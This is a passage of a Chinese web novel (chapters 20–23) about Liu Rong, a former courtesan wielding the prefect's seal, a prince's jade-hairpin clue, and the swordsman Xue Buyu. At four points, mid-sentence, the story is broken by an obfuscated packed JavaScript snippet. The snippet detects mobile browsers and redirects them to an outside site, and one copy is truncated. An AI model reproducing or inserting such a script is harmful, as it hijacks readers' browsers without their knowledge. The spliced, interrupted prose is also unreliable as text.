“姑娘哪儿的话,此簪寻常得很,我家主人就有,主人说,父亲每年都会赏赐,他的兄弟们也都有,但头上簪头花样不同。” 与贾府做交易的是皇室之人,至少赵玉则想让自己如此以为。 “你家主人不会平白无故帮我,”她将玉簪放回桌面,轻轻推出,“他想要的,我怕是给不起。” 与虎谋皮的道理她不是不懂,况且一个玉簪并不能证明凶手。 玉簪又被移了过来,老仆吟吟一笑,“姑娘笑纳。主人说不急,他等着姑娘。” 柳茸一转眼,人已不在,案盏空留又一枚玉簪,与手中断簪不同,簪头完整,刻着三朵蜀葵。 两日未理,官署的公务积压成小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823696|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山。 眼下事务多由长史代理,尚在维持运作,但不少公务仍需请示刺史。 崔元昏病的风声被瞒了下来,只说染疾告病,柳茸将见过他的人皆给了打点,留到自己,腕间的官印绶带不知不觉已被体温融于无察,不刻意触碰,仿若不曾存在。 她摸上腕间绶带,若有所思。 不见光的牢房里,灯影黯淡。 薛不虞枕臂躺在地上,将手上的枷锁视若无物,他口中哼着歌,适时换起了另一只腿翘。 狱锁“铿锵”开了,油灯扑朔,霉黑的石壁映出女子婀娜身姿。 “姑娘大驾光临,有何贵干?”薛不虞啐掉口中狗尾草。 “你知是我?” 他笑着指指右耳,接着指指柳茸的软靴,“脚步。” “我想请郎君做个交易,不知郎君是否赏光?” “交易?”薛不虞来了兴致,一手撑着脸,“说来听听。” “莫不是要打听我师兄有没有什么红颜知己?”他状若惊讶。 “事成之后,我放郎君出狱,绝不通缉。” 薛不虞收起嬉笑,坐起身来,手中的狱枷响了几下,寂然不做声。 “你?放我?”他打量起眼前的女子,“你若放了我,我师兄拿你是问如何是好?他这个人什么都好,就是太板正,不通情理。” “崔大人在府上养病,暂时顾不上公事。” 闻此,薛不虞意味深长哦了声,“说罢,何事?” “郎君在竹林所杀之人尸身难辨,我希望郎君能从中寻出一具尸身,带出给我。” 柳茸拿出一幅画相,其上所画正是崔元在山洞里指认的陈王手下。 “不记得。”他翘着腿,“我只负责杀人,不负责记他们是谁。” “告辞。” “且慢。”薛不虞留住人,嘿嘿一笑,“怎么交给你啊?我师兄也太不怜香惜玉了,美人就是用来干这等事的?” 柳茸没回答,“郎君记起此人是谁了?” 薛不虞嗯了声,“约法三章,我帮你找出,你,也要帮我。” 他举了举枷锁示意。 枷锁开解的刹那,他甩甩禁锢多时的腕臂,“你比我师兄通人性多了。” 柳茸取出袖中铁钥,解开枷锁。 顷刻之间,油灯熄灭,断烟吹散,一道清风拂过脸颊,如弹指水珠。 丝丝鬓发落到玲珑软靴上,切口利落。柳茸没有低头去看。 薛不虞收起剑风,褪去随性不羁的皮囊,神情冷漠,像条锁定猎物的蚺蛇。 “我师兄从不把自己的事假手他人,更不会不亲自来看我。” “你对我师兄,有贰心。” 略带薄茧的食指抵住柳茸脆弱的喉管,只要再进一寸,那张薄薄的肌肤便会迸出温热的嫣红。 他居高临下,观着她每寸肌肤,“也不知师兄看上你哪点好,除了容貌满身破绽。” “我在想……”他的食指上下摩挲她的脖颈,“要不要就在这儿替师兄,解决你。” 柳茸握住那根致命的食指,“郎君大可动手。” 他放下手指,取走断在她肩头的几缕青丝。 “只帮你这一次,你若敢利用我师兄,我会杀了你。” 20. 送礼 长夜阑珊,柳茸沿着通衢走来,手中提着一捆包袱,檐上乌鹰眼碌碌转着脑袋。 包袱被端端正正放到茶几上。 老仆打开,现出一颗被刀花掉面容的人头与零星尸块。 “此人应是殿下暗卫,却与人伏击益州刺史,现已伏诛。今把尸首交由殿下,请殿下辨认一二。”她道。 老仆去帘帐内请示一番,未几,头颅盛在白玉盘中递入帐内。 帘帐内,棋子落盘的声音清晰可闻。 “柳大人。”老仆自帐内而出,碎步含背,对柳茸的称谓不再是姑娘,“我家主人说,多谢大人与刺史替陈王府清理门户,更要多谢大人特意送还人头,未将其交由官府,此恩无以言谢。” “暗卫掺扰此事是主人之过,大人海涵,肯卖我家主人一份面子,主人,定会铭记。” 白纻帘帐内透出一道鹤形玉立的影子,与头两次幂篱遮面一样,柳茸看不见赵玉则的脸。 五子夺位里免于清缴的男人,毫发无损。 这便是她对他的印象。 究竟是不是暗卫私自行动已不重要,她礼尚往来还他玉簪的人情,来送人头是交易,亦是警示。 “还有一物要还予陈王殿下。”柳茸取出一物,放与茶几,是一枚色泽通透的蜀葵玉簪。 气氛变了。帘帐内的落子声瞬间寂静。 帐中人如珠玉盈耳的嗓音替代了棋声,“顾二。” 一名侍卫上前,拿起茶几上的玉簪只手一挑,撩开柳茸前襟一角,簪子顺着缝隙落回她身上。 不容一丝置喙,不容半星拒绝。 她听见帐中人拊了几下掌,名叫顾二的侍卫归到原位,另一名侍卫忽的上前,给了顾二一掌。 巴掌干脆响亮,侍卫唇角沁血。 “手下无礼,柳大人莫怪。”帐中人的声音温和畅达依旧。 白玉盘盛上来一把弓刀,刀身雪银,刀端利得能割喉,“若是愿意,顾二此人听凭大人处置。” 他的声音似诱似蛊。 柳茸望了弓刀半晌,没有接。 “陈王府的侍卫,几时沦落到要靠外人代管了?” 庭院深深,柳茸略松半帘衣襟,周遭婢仆自觉埋低头,唯有帐内的落子声稳当不动,轻快地下着。 蜀葵簪头的玉簪几乎贴着亵衣,被重新取出放回茶几。 “大人是不喜我的赠礼吗?” “王爷所用之物太贵重,无功不受禄。” 帐中人轻笑,心情愉悦地落下一子,“不过是想帮大人照着此簪找出幕后指使罢了,缘何言贵重?崔刺史难以通融,大人圆而不滑,此簪赠大人,何来的不能受禄?” 玉簪被老仆递进帘帐,帐中人隐隐说了句:“好香,是流黄香。” 他轻声道:“多谢大人回赠此香。” 说完这话,此地的主人不再强留柳茸,命人送行贵客。 “大人,留步。”将离去时,老仆毕恭毕敬与婢仆在门侧作揖。 “我家主人有话传给大人。” “什么话?”柳茸玉手轻拢。 “主人说,有一点总归要告知大人的,比起崔刺史,他与大人方是同路人。来日若有需,望同今时今日般互为照拂,大人照拂主人,主人自也照拂大人。” ——“比起崔刺史,他与大人方是同路人。” 回到官署,老仆的声音扔回荡耳畔。 她和崔元,不是一路人?柳茸的心刚想否决,绶带间的官印无意磕到木门。 咚响一声,她心流般触上腕间的绶带。 好像,的确不是。 崔元在府上昏睡,柳茸放值去往他的卧房,地上倒着人,是刘管事。 看守的府兵被打晕了,送汤药的秋姨运在门边,汤药不翼而飞。 柳茸心一惊,赶忙趴近卧房门。 里面传来模糊的说笑声,断断续续,她迷糊了,悄悄推开一条门缝,看到崔元已然醒了,单衣坐在榻上,神情不像受袭。 柳茸舒一口气,倚在门板。 等等、崔元醒了,醒了? 敲敲门,耳熟的回应传来,柳茸克制着轻颤的手启开门,看全卧房景象后仲然停在门口。 好消息,不是刺客,坏消息,是薛不虞。他还算“戴罪之身”,潜入崔府必然先打晕人。 看薛不虞微挑的剑眉,不必想,肯定把她卖了。 果然,崔元下一刻道:“你放的人?” 柳茸望向薛不虞,对方坐在榻尾,把玩着盛汤药的空碗勺,一幅瞧她如何作答的模样。 “公子醒了?”她的语气里含着欣喜。昏迷数日的人,终于苏醒,不再是初回府时那般生死难料的忧惶。 “嗯,醒了。” “身体如何?” “好着呢,我把过脉了。”薛不虞当啷几声放下碗勺,目光如猎鹰,逼视着她,“怎么,不先答我师兄的话?” “是我放的人。”她承认地直白。 “是么,镣铐今日带了吗?” “在州狱里。” “贼人就在此地,你应当带回府的。”崔元闭目。 薛不虞不可置信地看回自己师兄,“师兄,我可是你亲师弟。” “你已经改拜道门了。” “那也是你师弟!当初你我约好的,无论你在何处,若遇险自有人从城南捎信于我,我如今来了反被你擒捉入狱?” “愿者上钩。” 对峙间有声音从前世而来,汹涌回溯于柳茸脑海。 ——“走罢,都走。去城南,有人会接应你。” 前世的她没有选择去城南,更没见到接应之人,在那场洪流变数里,没有竹林中的剑仙。 她观量起男人眉眼,是个杀业很重的人,胸前的剑杀意与快意铮然。 崔元道:“你杀业太重,行事超出法度,不被我抓也会被其他州官拿下。” 柳茸差些以为心声被听见。 “我杀的都是该杀之人。”薛不虞抱着剑,“你们官大爷要斟酌的人和事,我一剑可断。” “要我回牢里也可以,师兄一声令下,我甘愿束手就擒,但她,”薛不虞指向柳茸,“要跟我一同下狱。” 崔元:“柳校书?” “师兄莫非不清楚?这个女人背着你干的勾当。”薛不虞抛了颗桃子吃起来。 崔元的眼神锐利起来。 柳茸只听薛不虞道:“此人趁你不在擅行刺史之权,私放囚犯,以利贿人,比如,答应不通缉我。按师兄的规矩,是不是可以下狱了。” “师兄不信大可搜身,看她身上有无私藏官印。” 薛不虞丢开吃剩的桃核,银剑直指,意欲替柳茸验身,“把手腕露出来,你敢不敢?” “够了,”崔元打断他,“越闹越不像话。搜身之事轮不到你插手。” “师兄,丢失的官印就在她手上。” “官印不是丢的,是刺史亲自给我的。”柳茸为自己辩驳一句。 “胡言乱语!我师兄怎可能将丢给一个不知哪来的女校书?” 薛不虞半点不信,目光投向崔元,但见一向听不得诳语的师兄偏过头,目眺窗外。 他怔愣几下,在一片默认中顿住身形。 “师兄?”薛不虞轻唤一声,“师兄,你莫不是被鬼上身了?那可是官印!你——” “我要同柳尚书单独说几句话。” 这句薛不虞听出了,是在赶他走。 “柳尚书,你可以抓人了。”崔元颔首。 “想抓我?”薛不虞气笑地收起剑,“下辈子再说。” 剑鞘扫上柳茸的咽喉。 崔元:“薛不虞!” 剑鞘蜻蜓点水,随崔元喝令静止在离柳茸脖颈一寸之遥的半空,薛不虞抚平嘴角。 “怕什么,我又没真杀她。你身旁的女人答应过不对我下通缉令的,想让她抓我?不如亲自审审她都差我做了什么。” 他好整以暇地向崔元挑一眼,经过柳茸身旁时眼神不善,口中嘟哝,“给我师兄灌了什么迷魂汤?” 薛不虞大步流星迈出门槛。 木门掩住的刹那,柳茸与床上的人缠抱在一起。 浓烈的药香缠绵在彼此的发丝,耳垂,腰际。许是只手难以抱住柳茸,他温热的手掌扶上她的腰际,将两个胸膛进一步锢紧。 “你的手……”想起崔元打着夹板的手正夹在身前,柳茸企图后退,被他反噬般桎梏得更紧。 “不碍事……” 他引导着她捏上手肘夹板,骨折之处在消肿,柳茸不敢用力,他看出了,按着她的指用力下压,示意无碍。 再打一个月的夹板,便能恢复如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他知道她在勾栏院阅尽千帆,阅历深厚。自己在她眼中说不定也纯粹是万千过眼的男人之一,“泯然众人”。 还是最无趣、生硬那一类,任何取悦皆是他人献过的把式,毫无新意。 益州各处勾栏院查封了个遍,崔元见过从里走出的女子,她们面带愁容,无措地站在日光下,对前来封门的官兵调笑、谩骂。他忽然对她的过去有了实感。 她见过许多男人,但她一定不喜欢男人,即使她不介意肌肤之亲,他也无法轻易视之,他怕,那般接触会再次伤到她。 况且从勾栏院抓出的男子,不是大腹便便脑满肠肥,便是骨瘦嶙峋,崔元几乎审吐,若是自己和这等人共度过,怕是十年不敢挨床。 得过柳茸照拂的恐怕有这些人,算上杜攸之,他心中火更甚,野猪怎堪配榴花,煞风景。 每当柳茸提一次过往,那些可能存在过的野猪就要拉出来于他脑中溜一圈。 当感受到她的手穿过发丝,他一方心如被人素手轻拨的水淙,一方晦暗地想,从前也有人被她如此温柔以待么。 那人可真是有福,有福地叫人生厌。 崔元遵医嘱去庭院下对着日头小晒,廊下传来女子交谈的私语声。 “阿姊的身子是错过调理时机的,养不好,但你不一样,你比阿姊有更广阔的前路。” 是柳茸在教小青习字。 “你既不想读书,那与阿姊说说,来日想做甚?” “我想成为阿姊,当花魁,挣大钱!” 崔元听到女子温和地笑,“那阿姊希望,你永远不要得偿所愿。” “坏人!” “晚上想不想听坏人讲故事了?想听就握稳笔。” 阆苑里一高一矮两道身影,混杂着墨香。 崔元无声抚着廊柱。 她说她错过了时机……那道声音里,他俨然窥到女子终身无法弥补的遗憾。 她与身健沾不上边,整个人像薄纸糊的,就是如此一个“纸人”,在崖间强而有力地拽住了他。 崔元的目光随女子修长身形向上,那身形,他触碰过,隔着衣她的腹腔起伏均匀,他难以想象那温软的触觉若无布料遮挡是什么样的。 而此刻被他抱过的腰际乌发垂散,与砚中墨相衬,满身遗憾,却愿意将比自己更小的人圈在身下。 如此瘦弱却如此强大。 21. 海棠 晦日,益州,堂议结束。 此前对柳茸不服的下级官吏被逐一敲打,她如常去往书房,一道黑影子房梁倏然落下,死死压住柳茸。 不速之客手臂如刃,将她的下颌抵得微微仰起。 “呃!”薛不虞无情收紧桎梏,“师兄能被你欺瞒,我可不会。” 苍鹰般的眼神审着她的鬟鬓、黛眉、衣襟,“真有能耐啊,柳校书,赵玉则府上的香还在衣服上转头就来寻我师兄。” “我改主意了,爷不想留你性命了。”他眼底划过杀意,在刀锋出鞘之际见身下禁锢的柳茸低低笑了,素手卷住他垂落的辫发。 “你这个疯女人干什么!”薛不虞抽回被柳茸握在手心的辫发,“不知检点!放肆!” 何曾有女子敢如此碰他。 “我要是知捡点,就活不到今日了。”筋骨无法活动,柳茸索性找了个舒适的角度,“郎君的辫子扎到我的脸,还不叫人摸了?” “收回你这一套,我不吃。”薛不虞冷冷嗤了一声。 “你要杀我吗?” 薛不虞不搭话,他不是爱拖延时机的性子,速战速决,取出方便割喉的短刃,然而那喉咙开腔说了一句话,“真巧,我也不想留郎君性命。” 话音刚落,一道臂力提起薛不虞的后襟,他被柳茸的一扯辫发分散了心神,直到来人出手才觉察气息,落下的刀子随着之止住。 “师兄?” 崔元抱恙燕居,因着不便出门礼佛,故而请了禅师上门讲经,老禅师在旁侧,合十着手,道了声阿弥陀佛。 宝瓶门外,里三层外三层围满府兵,不消说薛不虞便了然,他做了回瓮中鳖。 “好大的阵仗,”他露出两颗虎牙,与先前的罗刹判若两人,“师弟三生有幸。” 崔元:“将逃犯押回牢房。” 薛不虞被扣住,“且慢。柳校书可是应承过不通缉我的。”他举了举拷上的镣铐,“这不太守诺吧?” “我只答应了不通缉郎君,没说不抓郎君。”柳茸起身。 佩剑的青年顿首笑笑,意味深长地哦了声,“原来如此,柳校书,你可真是心善。” 知晓自己被字眼钻孔摆了一道,被押走前,他回过头,留下无声无息的一顾。 地上散落着被薛不虞撞掉的公文,柳茸一一拾好。万幸,地上没水。 “你要到哪里去?”身后传来崔元的声音。 “批公文。”天光正好,柳茸打算挪去有光处,说罢,她想起对方才是刺史,手中的公文本来应当交由他批阅才是。 “公子不去屋内养伤吗?”她化开一抹和悦的旖旎神情。 “来活动筋骨,”崔元步伐不快,从容赶上她,“医师说每日要在日光下动上一个时辰。” 他没有离开之意。 “我为你舞剑罢。”他雪白的神容在鸦睫映衬下似冬日白梅,唯独无香。 “舞剑?” “有人在你面前舞过剑吗?” 柳茸摇首,思量三刻后又点头,有的,上一世自己见过他的剑。 “舞剑不是什么人以剑相舞都可称之为舞剑。”崔元没由来一句。 “左右都要活动筋骨,你也要同去天光下,不若舞一剑,不至于太无趣。” “可是……”柳茸看向他缠着布的手。 一根布带绕过脖后提着伤手,宛若大白萝卜挂在脖前,她想象着想象这跟白萝卜随剑起舞的模样,滑稽异常。 忍不住吟吟一笑,“公子能行吗?” “想看吗,我断了手,也能舞。” 剑在他完好的左手间架起,“看好了。” 剑身随腕一凝,翩然舞起,在他颀长的手指间灵活流转,一身绰约浑无杀意,柔情点缀剑刃,风卷起,白衣公子衣袍猎猎—— 更似一颗飞舞的大白萝卜了。 柳茸噗嗤笑了。 剑风停住,崔元面庞沉静,眉间透着不易觉察的赧意。 他清楚,他失败了,这是场搞砸的舞剑。那个能取悦柳茸的人是该舞得多出彩。 “让你见笑了。”他椎拙地拿住剑。 “不会,”柳茸放下笔,“很好看啊,至少,公子的脸是好看的。” 崔元听见话,低头擦剑不语,剑身拭如明镜,他定睛一视,照见自己的容颜。 一张一看就要被本家催娶妻的脸,棱角分明,没有过多神情,连挑眉都不会。 剑刃处照出柳茸的影子,女子又投身到了公务去,面容专注。 她今日穿了件豆蔻色的衣摆,与肤肌几乎融为一色,崔元不由得想起那个荒诞的黄粱梦,自己坐于蒲团打坐,念着念着身下蒲团化成她,接下来的事行云流水。 这个梦在后来的夜里多次扰着他神思,冷硬的蒲团化成女子温软的怀抱,在山崖间与她相拥后,他方感受到她的身体有多热。 梦里的细节开始更为具象,从前的蒲团幻化只是团模糊影子,这之后变得清晰、细微。 他多次步入凉水沐浴淋身,但每接触柳茸多一分,此念便多一分。 但是……不行,他们没有婚娶。 “公子?” 崔元听见柳茸的声音,神思渐渐收拢,她疑惑的样子,显然是唤了自己很多声。 柳茸身上豆蔻色的私服不见了,换上官袍,墨发束起,一幅准备去官署的扮相。 “你要走了?” “官署有急报。”她顿了下,收拾出一个放宽心的笑容,“不是什么大事,我很快回来。” “好,我等你。” 本来柳茸不想去官署,毕竟是个可以大事化了的小事。官署搜到了一名小官的状书,上面写着多是大不敬之语,骂校书柳茸,代掌职权,挟持刺史,不止勾连党同,连贱籍家伎也收买。 这不是重点,重点是她发现了此人的出身,曾在益州官窑当过琢玉师,本来应时代都为匠人,因工艺受先帝赞赏,故而在技艺传承后破格做了闲官。 “名字。” “……李守仁。” 他的鬓角华发初生,还有一双皱了皮的手,骨节分明,年少时应很是好看,柳茸看见他轻颤的幞头巾子,“你很怕我?” “……不敢。” 柳茸从位置上站起,缓缓走近,他的头更低了。 像一个被被发现做错事的老人,有着几分硬撑的傲骨与面对年轻人的不服,然这傲骨并不足以供给他足够的胆量。 低头的一刻,柳茸想起那群主家来的讨债人,想起低头的阿爹。但眼前的终究不是阿爹,她的阿爹或许已死在某个无法回家的角落。 她一身官袍越走越近,“抬起头来。” 李守仁依言抬起,还未等他从面前人的容貌中反应过来,一个掌掴已扇到他的脸颊。 李守仁懵懂着脑袋,后知后觉自己被打了。 打人的不是柳茸,是一旁的侍卫,“身为下官,妄议刺史,该当何罪?” “你、你!”他捂着脸不敢说话,好歹也是受先帝赏识过的将人,岂受过这般气。 突然,一双柔软的玉手捧起他栗黄苍老的脸,浑浊年迈的眼珠对上柳茸清澈的双眸。 那双手抚过被掌掴处,火辣的痛意不知是因太过震惊无法思考、还是因手凉,顿时消减。 李守仁不知她想做什么,却见她笑了。 “你不要怕。” 柳茸这么一说,他的肩膀更加瑟缩。 最终,李守仁合眼,“……大人,下官家里尚有年逾古稀的老母,还望大人对她网开一面。” “我不帮你养。”柳茸说完,肉眼可见他枯萎了,她轻声问,“你的母亲不该是自己养吗?” 李守仁惶惶然仰头。 “李大人言事有功,能指我之过,我很喜欢。”柳茸轻笑一声,“刺史大人他,也很喜欢。” “能从匠籍做到命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852141|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官,李大人已是过人,大人听闻你的经历很是赏识,身为下官以身犯上,虽不曾谏言,但,多亏李大人的话,我能知悉诸位所思,这可比堂议上的搪塞好多了,你说这怎不是功事一件呢?” “下官、下官是……”他唇齿不清地想说话,柳茸拍拍他的肩,摇头。 “你的升官命书,不远了。”柳茸弯着眉,“该不会因为经我口传,李大人不肯受命吧?” 留在李守仁肩上的手捏了捏,“我想,令堂也是乐见大人升官的。” 直到此刻,李守仁脑袋里仍是嗡嗡的,眼前的女子可是在堂议上把意见不合的都收拾了一通,自己所书之语比堂上的尖锐多了,反倒升官了? “有一事,晚辈或许要求大人指点。” 他又惧又如获大赦,恭敬道:“大人请讲。” 柳茸掏出一根断了的玉簪,“不知李大人可认得这跟簪子?” 李守仁观之色变,“大人从何处得来的?” 柳茸注视着他,他顿时改口,“是下官愚钝,大人从何处得来的是大人之事,下官多言,大人想知晓什么?” “李大人可能看出簪子的主人?” “簪头断了,不好确认,不过……”他拿起簪子放在烛光下细看,指着断出残留的纹理。 柳茸看不出什么,只能看出是两道线,李守仁道:“这痕迹,是海棠花的茎根,宫内匠人多沿袭此刻法。” “除了海棠花可还能别的花吗?” 李守仁摇头,“……此法舍弟生前常刻,宫内不同花叶有不同花叶刻法,不会混用的。” “我知晓了,”柳茸命人亲自送李守仁归家,临走交代:“今夜之事,望李大人守口如瓶。” 至于那几页痛斥刺史与校书的话,被她带回府中,以备万一。 重返府中时,日落偏西,柳茸一眼注意到几个鬼祟的身影,使了个眼色给随车的府兵。 “诶诶!别抓我!” “刘叔?”柳茸看清他的脸,是从前与崔元耕田的老农。 她注意到几个藏在角落的身影,都是农人装束,手里提着大大小小的果蔬,“你们在崔府门前做甚?” “这不是好久没见崔娃娃出来了,你们当官的事我们也不清楚底细,也不好打听,大家都有点担心。” “我家的菜棚还等着他搭呢。” “阿茸啊,崔娃子是不是生病了?” 柳茸想起来她封锁了崔元昏迷的风声,望着一双双殷切的眼神,一时有些不知所措。 “大家都带了东西来,这样,你帮忙带入府中。”人群七手八脚挤上前,柳茸无措地接着果蔬米粮。 “阿茸啊,你别光顾着给他带,里面也有给你的份儿,这是我们药堂烧的草木灰,做月事带可好了。” “多谢,但……”柳茸,身后传来一道声音。 “不能收。” 崔元站在门槛外,示意府兵将东西归还。 “诸位请回,我无碍,只是病了场。” 众人面面相觑,年幼的孩童出声:“大人是嫌我们的东西不好吗?” “与诸位无关,是我实在不能收。” “这也不是给全你的,是给阿茸的。”老农将果蔬从府兵抢过,塞进柳茸手中。 “就是,你生病了要人家照顾不辛苦吗,送点东西给她怎么了。” “我们是来给阿茸补身子的,你要吃也可以。” 柳茸求助的目光投向崔元,对方面色不改地转身进府,留下一句:“她也不能收。” 民愤“怨声载道”。 “阿茸瞧见了吗,以后挑夫君千万不能挑这样的。” “不吃我们一块吃,让他一个人打光棍去!” 崔元身形一顿。 过去他从不在意旁人的言论,但今日这样的言论不知为何,有些刺耳。 好半晌他松口,“你想收的话,也不是不可以。” 22. 权欲 海棠花的主人究竟是谁? 柳茸想,她知晓答案。那个男人将登临御座,与太尉一同清缴了博陵崔氏。 就是不知赵玉则送自己的线索是否为真,若崔侯活在尚且能押来对证,这么一想,柳茸有些悔,悔自己杀早了。 朝局波谲云涌,五子夺位,雨声已经传至益州。 她冥冥中意识到,自己已卷进一场漩涡。 赵玉则想利用自己拉崔元下水。 博陵崔氏决意帮扶其中一王,然而这与崔元无关,他早已放话割席。 对逐鹿的皇族而言,益州是片尚未插旗的空白之地,博陵崔氏左右不了崔元,他似乎是个谁也无法左右的臣子。 但赵玉则看见了柳茸。 柳茸把玩着铜制的官印,指尖缓缓滑过沟壑不平的篆刻——“益州刺史”。 权力啊权力,真是个好东西,连上面的铜腥都宛若芬芳。 柳茸试着把官印凑到鼻端。 很香,残留着自己刚印的墨油香,比胭脂水粉的气味要诱人千倍。 崔元竟也放心交给自己。 也是,博陵崔氏出来的孩子,前半生都未尝过失权的滋味,司空见惯到腻烦的东西便难以想到其紧要。 自己不一样,什么都没有,权力,更是从未有过。起初,活下去便心满意足了,然而当官印落到手里,当官袍加身,她感到莫大滋润。 在最初的抵触、恐惧、惶措后,柳茸慢慢接纳,开始感到适应,直至被丰饶香盈的膏油包裹。 薛不虞杀自己不是没有道理。 大梁放开科考也不足二十年,从三品刺史,素来都是士族的囊中物,寒门科考尚且无法坐到此位,遑论一穷二白无家世可依的她。 就是因为深知自己比其他官吏跟脚不好,比之崔元更甚,柳茸想,自己唯有比他们更用心、更付出。 官署内非议她的官吏越来越少,此前有过一批官吏,无论如何威逼利诱始终与她针锋相对。 后来方查清,这些人常去花楼,私以为是她的存在才令刺史封了益州的勾栏瓦肆,挡了他们寻欢作乐,积压的欲望化作记恨尽数发记到柳茸头上。 奈何柳校书出了名的勤勉,日旰宵食,做事抓不到一处可指摘,反倒搜出其中几人的旧案,抓住错处将人拖了下去。 “诸位皆是益州父母官,我不会为难,若有人犯事,我必会穷究,但不曾犯事的你们,永远不必怕。” 不大的声量传达堂前各处,有人胆战心惊,也有人沉默着,脊背越挺越直。 一切不止落入官署堂前的一滩莲池,也落入崔元的眼中。 他已拆夹板,难得出府,官署一切如故,没有太大变化,经过前堂时,循着熟悉而清亮的声音,于晨风中见到那抹榴花般的容颜。 一池清水,几层纱幔,那道声音时而悠远时而亲近。 他看见她正襟危坐,是与在他面前全然不同的表情,独自一人面对着满堂男子的胶着气氛,从剑拔弩张到最后的盖棺定音。 像榴花,开到盛处。开得很高,他要攀手才能摘到。 堂议结束,堂下的官吏向柳茸作揖告退。 莲池畔处,崔元也负住手,向她深深一揖。 “公子怎么来了?” “累了吗,我给你剥莲蓬。” 说是剥莲蓬,其实是去水塘摘莲蓬。 柳茸坐在扁舟上,见那道白衣在船头,心里约莫有了猜测,崔元是聪明人,不会直接劝自己别总是疲于公务,而是请自己同去采莲蓬。 上一世,他若是白日经过一场公务缠身,偶尔会划桨采莲。每次光膀子割荷叶时,叶上盛的水簌簌抖落,流到他的腰窝上,汇聚成两汪小小的泉。 “你在看谁?”他出声。 柳茸一怔,侧头看向水面,那里已无莲蓬,留下被人割断的根茎。 “你不是在看我,是有一个人也替你采过莲蓬,对吗?”崔元剥了颗莲子。 “当然是在看公子。” “那个人死了吗?” 闻言柳茸怔住,崔元浅浅笑了,“很好。” “是杜攸之吗?” 她不答,崔元想也是,杜攸之不配,箭锋所指便剩下一人。 “那……是死在你梳弄之夜的人?”崔元听过伙房里厨娘的闲谈,说女子的第一个男人总是难忘的。 能令她难忘……多可遇不可求的事,鼓胀自心口蔓延,嫉恨交杂间,崔元忽觉唇舌苦涩,占据她片刻心神的人竟不能是自己。 是一个未曾谋面的人。 柳茸其实快忘记那夜的感受了,只记得尸体脖子的血乎刺啦,“公子怎么突然问起这个?” “那个人生得好吗?”崔元看起来像剥莲蓬时随意一问。 他希望柳茸回答那个人是头猪,最好不及自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853675|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般想着,忽觉自己如此阴恻,竟然暗暗期待她遇上的是头猪,又开始强行擦去心底那片晦暗的阴影。 但他转瞬即逝的眸色被柳茸捕捉,那是不问清不罢休的坚决,她清笑。 “不是他。” 耳畔传来柳茸的声音,他剥莲子的动作放缓。 “我的梳弄之夜是位听曲的熟客。” 崔元喉间一紧。 “不过我快忘记他的脸了。”柳茸依稀记起一些细节,叹道:“他很温柔,仅此一夜,也行不了太多事。” 听见柳茸的评价,崔元眉心一拧,握紧了掌。 “你……”崔元动了下唇瓣,“你晓得自己……多少钱吗?” 实在不想用一个卖字去形容一个活人时,人便会迂回委婉地问。 “以前不知晓了,大了大抵猜出了。” 柳茸低头弄着莲子,神情如三春桃,犹豫再三,崔元终究没有说出看到的价钱。 水面荡起涟漪,扁舟摇摆,船桨吱呀呀震着彼此身下座。 崔元紧紧盯着她,蓦地问,“你不觉得其中有一个人很可怜么?” “嗯?” “是我问了不该问的,忘了罢。”他叹了口气,屈身拨池水盥手。 “他是个贪官,”柳茸出言,“所以被人杀了。骄矜贪纵,祸出己身,他死了不可惜。崔大人与他比不了,你是个好官。” “我入府那日,刘管事说你是个好人,秋姨也说你最乖最不挑食了。你病了,大家都来送你吃的,公子知道为何吗?” “因为他们怕你真死了,怕接任的人会是个苛待百姓的,他们过活的庄稼就要被再多交许多了。” 崔元转过头,脸上是难掩的笑,显然方才一番话说得他内心顺意,“你好像很懂。” “我就是从他们中来的啊。我们这些无权无势的人渴望什么样的父母官,想要什么样的皇帝,我再清楚不过了。” “看来日后是我要请教柳大人。”崔元道。 他于民间未竞的磨练、期年的修行流浪,于她面前都相形见绌,敌不过身处其中多年的柳茸。 为官短短数月,她便胜过许多士族出身为官多年的子弟,也许她需要的仅仅是一个摆脱乐籍的契机,假以时日,怕是自己也比之不及。 “但是阿茸,”崔元看过来,言辞仿若暗含着某样期许,“我在你心里,只是一个好官吗……” 23. 交心 柳茸转身撑起浆,“莲蓬摘完了,去对岸罢。” 背后有人拥住她的腰,阻止她的离去,“你还没回答我的话。” 